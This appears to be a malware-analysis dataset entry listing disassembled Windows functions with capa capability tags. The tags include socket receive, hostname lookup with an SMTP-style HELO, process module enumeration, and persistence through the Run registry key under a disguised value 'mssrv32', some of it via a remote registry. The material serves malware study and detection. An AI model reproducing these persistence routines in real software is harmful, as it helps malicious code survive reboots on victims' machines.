joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409595
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x40
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, dword [esp + 0x58]
mov eax, dword [esp + 0x54]
xor ecx, ecx
mov ebx, dword [sym.imp.WS2_32.dll_WSAEventSelect]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x14], edx
mov edx, dword [esi + 4]
mov dword [esp + 0x18], ecx
mov ecx, dword [esi + 0x14]
push 1
push ecx
push edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], eax
call ebx
cmp eax, 0xffffffff
je 0x40969e
mov ebp, dword [esp + 0x64]
mov eax, dword [esi + 0x14]
mov edx, dword [esp + 0x68]
mov ecx, dword [esi + 0xc]
mov dword [esp + 0x1c], eax
push 1
push edx
lea eax, [esp + 0x24]
push 0
push eax
push 2
mov dword [esp + 0x34], ecx
call dword [sym.imp.WS2_32.dll_WSAWaitForMultipleEvents]
mov edi, eax
test edi, edi
jne 0x4096b5
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 4]
lea ecx, [esp + 0x24]
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_WSAEnumNetworkEvents]
cmp eax, 0xffffffff
je 0x4096e3
mov eax, dword [esp + 0x28]
push edi
test eax, eax
jne 0x4096e5
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 4]
push ecx
push edx
call ebx
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x5c]
push edi
push edi
push eax
lea edx, [esp + 0x64]
push ecx
lea eax, [esp + 0x20]
push edx
mov edx, dword [esi + 4]
push eax
lea ecx, [esp + 0x2c]
push 1
push ecx
push edx
mov dword [esp + 0x7c], ebp
call dword [sym.imp.WS2_32.dll_WSARecvFrom]
test eax, eax
je 0x409706
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x40971e
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 4]
push 1
push eax
push ecx
call ebx
cmp eax, 0xffffffff
jne 0x4095e4
mov edx, dword [esi + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x40
ret 0x18
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 4]
push 0
push eax
push ecx
call ebx
mov edx, dword [esi + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
xor eax, eax
cmp edi, 0x102
pop edi
pop esi
sete al
pop ebp
add eax, 0xfffffffd
pop ebx
add esp, 0x40
ret 0x18
push 0
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 4]
push eax
push ecx
call ebx
mov edx, dword [esi + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x40
ret 0x18
mov eax, dword [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x40
ret 0x18
mov ecx, dword [esi + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x40
ret 0x18
Function at 0x4098d0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
mov ecx, 0x64
xor eax, eax
push edi
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0xffffffff
pop edi
jne 0x409903
xor eax, eax
add esp, 0x190
ret
cmp word [esp], 0x202
je 0x40991b
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add esp, 0x190
ret
mov eax, 1
add esp, 0x190
ret

Function at 0x409b50
Capabilities:
Enumerate process modules

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x208
test eax, eax
push ebx
push ebp
push esi
je 0x409bd8
mov ebp, dword [esp + 0x21c]
test ebp, ebp
je 0x409bd8
mov ebx, dword [esp + 0x220]
test ebx, ebx
jbe 0x409bd8
lea ecx, [esp + 0xc]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edx, dword [esp + 0xc]
push edx
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x409bd8
lea eax, [esp + 0x10]
push edi
push eax
lea ecx, [esp + 0x1c]
push 0x80
push ecx
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edi, eax
test edi, edi
je 0x409bc4
mov edx, dword [esp + 0x18]
push ebx
push ebp
push edx
push esi
call sub.PSAPI.DLL_GetModuleBaseNameA
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x208
ret
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x208
ret
Function at 0x40a030
Capabilities:
Get hostname

Disassembly:
push 0xffffffffffffffff
push 0x40d5b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x58
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString_1
mov eax, dword [edi + 8]
mov dword [esp + 0x6c], 0
test eax, eax
je 0x40a072
mov dword [esp + 0x6c], 0xffffffff
jmp 0x40a1ed
lea esi, [edi + 0x18]
push 0
push 1
push 0
mov ecx, esi
call fcn.00408930
test eax, eax
jne 0x40a0b8
push str.Unable_to_create_the_socket.
lea ecx, [edi + 4]
call fcn.0040b68a
lea ecx, [esp + 0xc]
mov dword [esp + 0x6c], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
add esp, 0x64
ret
lea eax, [esp + 0x10]
push ebp
push eax
mov ecx, edi
call fcn.0040a010
mov ebp, dword [eax]
push 0xffffffffffffffff
mov ecx, edi
mov byte [esp + 0x74], 1
call fcn.0040a2c0
push eax
push ebp
mov ecx, esi
call fcn.00408cd0
test eax, eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x70], 0
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
pop ebp
je 0x40a12f
push str.Unable_to_connect_to_server
lea ecx, [edi + 4]
call fcn.0040b68a
mov edx, dword [esi]
mov ecx, esi
call dword [edx + 0x10]
lea ecx, [esp + 0xc]
mov dword [esp + 0x6c], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
add esp, 0x64
ret
push 1
mov ecx, edi
call fcn.0040aa40
test eax, eax
jne 0x40a175
push str.Server_didnt_respond.
lea ecx, [edi + 4]
call fcn.0040b68a
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x10]
lea ecx, [esp + 0xc]
mov dword [esp + 0x6c], 0xffffffff
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
add esp, 0x64
ret
lea ecx, [esp + 0x14]
push 0x50
push ecx
call dword [sym.imp.WS2_32.dll_gethostname]
lea edx, [esp + 0x14]
lea eax, [esp + 0xc]
push edx
push str.HELO__s_r_n
push eax
call sub.MFC42.DLL_CString::Format
mov eax, dword [esp + 0x18]
mov edx, dword [esi]
add esp, 0xc
or ebx, 0xffffffff
mov ecx, dword [eax - 8]
push ebx
push ecx
push eax
mov ecx, esi
call dword [edx + 0xc]
push 0
mov ecx, edi
call fcn.0040aa40
test eax, eax
jne 0x40a1e2
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x10]
lea ecx, [esp + 0xc]
mov dword [esp + 0x6c], ebx
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x58]
mov dword fs:[0], ecx
add esp, 0x64
ret
mov dword [edi + 8], 1
mov dword [esp + 0x6c], ebx
lea ecx, [esp + 0xc]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x64]
pop edi
pop esi
mov eax, 1
pop ebx
mov dword fs:[0], ecx
add esp, 0x64
ret
Function at 0x40a5d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x40d667
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
lea ecx, [esp + 0xc]
mov dword [esp + 0x1c], 0
call sub.MFC42.DLL_CString::CString_1
push 0x411c28
lea ecx, [esp + 0x14]
mov dword [esp + 0x2c], 1
call fcn.0040b6a2
mov edi, str._r_n._r_n
or ecx, 0xffffffff
xor eax, eax
mov bl, 2
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x34]
mov byte [esp + 0x28], bl
not ecx
dec ecx
add eax, 0x14
mov edi, ecx
push eax
lea ecx, [esp + 0x10]
call fcn.0040b67e
lea ecx, [esp + 0x14]
push 3
push ecx
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
push 0x411b84
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
add esp, 8
lea ecx, [esp + 0x14]
test eax, eax
sete byte [esp + 0x34]
call sub.MFC42.DLL_CString::CString
mov al, byte [esp + 0x34]
test al, al
je 0x40a6a3
lea edx, [esp + 0xc]
lea eax, [esp + 0x34]
push edx
push 0x4118a0
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 3
call fcn.0040b67e
lea ecx, [esp + 0x34]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::CString
push str._r_n._r_n
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Find
mov esi, eax
cmp esi, 0xffffffff
jle 0x40a769
push esi
lea ecx, [esp + 0x38]
push 0
push ecx
lea ecx, [esp + 0x18]
call sub.MFC42.DLL_CString::Mid
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x2c], 4
call fcn.0040b67e
lea ecx, [esp + 0x34]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::CString
push str._r_n.._r_n
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0xc]
mov eax, dword [edx - 8]
sub eax, esi
sub eax, edi
push eax
lea eax, [esp + 0x1c]
push eax
call sub.MFC42.DLL_CString::Right
lea ecx, [esp + 0x10]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
mov byte [esp + 0x34], 5
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 6
call fcn.0040b67e
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], 5
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call sub.MFC42.DLL_CString::CString
push str._r_n._r_n
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::Find
mov esi, eax
cmp esi, 0xffffffff
jg 0x40a6bc
mov esi, dword [esp + 0x30]
lea eax, [esp + 0xc]
push eax
mov ecx, esi
call sub.MFC42.DLL_CString::CString_2
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 1
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
mov byte [esp + 0x28], 0
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x20]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x20
ret 8
Function at 0x40b980
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40e520
push 0x40baa2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
push 1
call dword [sym.imp.MSVCRT.dll___set_app_type]
pop ecx
or dword [0x411c98], 0xffffffff
or dword [0x411c9c], 0xffffffff
call dword [sym.imp.MSVCRT.dll___p__fmode]
mov ecx, dword [0x411c74]
mov dword [eax], ecx
call dword [sym.imp.MSVCRT.dll___p__commode]
mov ecx, dword [0x411c70]
mov dword [eax], ecx
mov eax, dword [sym.imp.MSVCRT.dll__adjust_fdiv]
mov eax, dword [eax]
mov dword [0x411ca0], eax
call fcn.0040baed
cmp dword [0x411bf0], 0
jne 0x40ba03
push 0x40baea
call dword [sym.imp.MSVCRT.dll___setusermatherr]
pop ecx
call fcn.0040bad2
push 0x411010
push 0x41100c
call sub.MSVCRT.dll__initterm
mov eax, dword [0x411c6c]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [0x411c68]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.MSVCRT.dll___getmainargs]
push 0x411008
push section..data
call sub.MSVCRT.dll__initterm
call dword [sym.imp.MSVCRT.dll___p___initenv]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
push dword [ebp - 0x2c]
push dword [ebp - 0x1c]
call fcn.004073b0
add esp, 0x30
mov dword [ebp - 0x24], eax
push eax
call dword [sym.imp.MSVCRT.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x30], ecx
push eax
push ecx
call sub.MSVCRT.dll__XcptFilter
pop ecx
pop ecx
ret
Function at 0x4187d5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418477

Function at 0x4187e0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418606

Function at 0x418bda
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00409250
mov eax, dword [0x434010]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00416c02
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x418c1c
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x418d78
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00425090
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x458d48]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00419daa
mov ecx, dword [esi*4 + 0x458d48]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x418d71
cmp eax, dword [edi + ecx + 0x24]
jne 0x418d71
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x418d71
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00419daa
add esp, 0x14
test edx, edx
jl 0x418d71
jg 0x418ce7
test eax, eax
jb 0x418d71
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x418d71
jl 0x418d01
cmp dword [ebp - 0x1008], eax
ja 0x418d71
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x418d1f
test ebx, ebx
je 0x418d58
cmp ecx, edi
jae 0x418d58
mov al, byte [ecx]
cmp al, 0xd
jne 0x418d39
lea eax, [edi - 1]
cmp ecx, eax
jae 0x418d45
cmp byte [ecx + 1], 0xa
jne 0x418d45
inc ecx
jmp 0x418d45
movzx eax, al
movsx eax, byte [eax + 0x434298]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x418d1f
cmp edx, ebx
jne 0x418d1f
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x418d76
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.004086c4
leave
ret
Function at 0x419248
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x458d48]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x419288
cmp byte [ebx], 0xa
jne 0x419288
or byte [eax + edi + 0x28], 4
jmp 0x41928d
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41938b
mov al, byte [edx]
cmp al, 0x1a
je 0x41936d
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4192bc
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4192e1
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x4192eb
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41929e
jmp 0x41938b
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x419368
cmp dword [ebp - 0xc], 0
je 0x419368
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x458d48]
test byte [eax + edi + 0x28], 0x48
je 0x419342
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41932d
mov byte [esi], dl
jmp 0x41933e
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x458d48]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41938b
cmp byte [ebp - 1], 0xa
jne 0x419351
cmp esi, ebx
jne 0x419351
mov byte [esi], 0xa
jmp 0x41938a
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00419dc8
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41938b
mov byte [esi], 0xd
jmp 0x41938a
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x458d48]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x419387
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41938b
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x419394
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x458d48]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4193d7
cmp word [esi], dx
jne 0x4193d7
or byte [edi + eax + 0x28], 4
jmp 0x4193dc
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41952f
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41950f
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41941e
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x419454
cmp eax, edx
jae 0x419460
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x4193f6
jmp 0x41952f
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41950b
cmp dword [ebp - 0x14], 0
je 0x41950b
mov eax, dword [ebx*4 + 0x458d48]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4194e3
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4194ac
mov word [esi], cx
jmp 0x4194df
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x458d48]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x458d48]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x458d48]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41952f
pop ebx
cmp word [ebp - 4], bx
jne 0x4194f4
cmp esi, dword [ebp + 0xc]
jne 0x4194f4
mov word [esi], bx
jmp 0x41952c
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00419dc8
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41952f
push 0xd
jmp 0x419528
mov ecx, dword [ebx*4 + 0x458d48]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x419526
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41952f
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4010d0
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push esi
push edi
lea edi, [ebp - 0x1fe]
mov esi, 0x40c003
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xff]
mov esi, 0x40c102
mov ecx, 0x3f
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x214], 0xff
lea edi, [ebp - 0x208]
mov esi, 0x40c201
mov ecx, 2
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x209]
mov esi, 0x40c20b
mov ecx, 1
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x21c]
mov esi, 0x40c20c
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0x209]
push eax
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.SHELL32.dll_FindExecutableA]
cmp eax, 0x20
jbe 0x4011e4
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4011e4
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0xff]
push eax
push 0
push 0
lea eax, [ebp - 0x21c]
push eax
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4011e4
push 0xa
lea eax, [ebp - 0x1fe]
push eax
lea eax, [ebp - 0xff]
push eax
call fcn.00403730
add esp, 0xc
test eax, eax
jne 0x4011e4
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x4011f3
mov eax, dword [ebp - 0x210]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x401200
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push esi
push edi
lea edi, [ebp - 0x32]
mov esi, 0x40c214
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3a]
mov esi, 0x40c242
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push 2
push 0
lea eax, [ebp - 0x32]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401279
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3a]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x40126f
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x40127e
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401290
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret